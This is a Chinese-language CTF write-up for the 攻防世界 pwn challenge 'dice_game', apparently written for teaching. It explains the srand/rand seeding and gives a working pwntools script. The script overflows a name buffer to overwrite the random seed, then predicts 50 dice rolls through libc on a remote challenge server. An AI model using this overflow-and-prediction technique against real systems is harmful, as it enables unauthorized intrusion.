攻防世界-pwn-dice_game(srand(),rand(),随机数)

高手进阶区 dice_game

考察知识点:
srand(),rand()函数,产生随机数。
srand和rand()配合使用产生伪随机数序列。
rand函数在产生随机数前,需要系统提供的生成伪随机数序列的种子,rand根据这个种子的值产生一系列随机数。
如果系统提供的种子没有变化,每次调用rand函数生成的伪随机数序列都是一样的。
比如:通常可以利用系统时间来改变系统的种子值,即srand(time(NULL)),可以为rand函数提供不同的种子值,进而产生不同的随机数序列。
如果srand(1),因为1是常数,不会变,所以每次调用rand函数生成的伪随机序列都是一样的。


0x01 题目分析

  1. 直接拖到ida,逆向得到源程序代码
    攻防世界-pwn-dice_game(srand(),rand(),随机数)_第1张图片
    main函数中,有一个read函数,输入name,然后v5=sub_A20函数,要求v5=1才能继续循环,当循环50次后,进入sub_B28函数。
    攻防世界-pwn-dice_game(srand(),rand(),随机数)_第2张图片
    进入sub_A20函数,看到只有输入的值等于随机值,才能使v5=1,继续循环。
    攻防世界-pwn-dice_game(srand(),rand(),随机数)_第3张图片
    循环50次后,进入sub_B28,得到flag。
  2. 做题思路
  • 要想进入sub_B28函数,必须循环50次,而唯一能中断循环的条件就是,必须让v5=1,才能继续循环,
  • 那么就得让随机值=输入值。(这里的随机值序列产生的种子是time,每次调用rand函数都是会变得,所以,这里就要让种子seed不变。)通过read函数输入来覆盖seed值,使其产生的随机数序列不变,然后存到一个列表中,再循环输出,就会使得输入值等于随机值。
  • 要覆盖seed值,就要找其与buf的偏移量。
    攻防世界-pwn-dice_game(srand(),rand(),随机数)_第4张图片
    偏移量为0x50-0x10=0x40,即要想覆盖掉seed,必须前边有0x40的padding。payload=‘a’*0x40+p64(1) ,p64(1)就是覆盖的seed值,种子设为1,随机数序列就不会变。

0x02 exp

from pwn import *
from ctypes import *
r= remote("220.249.52.133",59494)
libc=cdll.LoadLibrary("libc.so.6") 

payload='a'*0x40+p64(1)
r.sendline(payload)

a=[]
for i in range(50):
    a.append(libc.rand()%6+1)
print(a)
for i in a:
    r.recv()
    r.sendline(str(i))
r.interactive()

ctypes是Python内建的用于调用动态链接库函数的功能模块,一定程度上可以用于Python与其他语言的混合编程。由于编写动态链接库,使用C/C++是最常见的方式,故ctypes最常用于Python与C/C++混合编程之中。
rand函数要用cdll中的函数。

你可能感兴趣的:(攻防世界,CTF解题)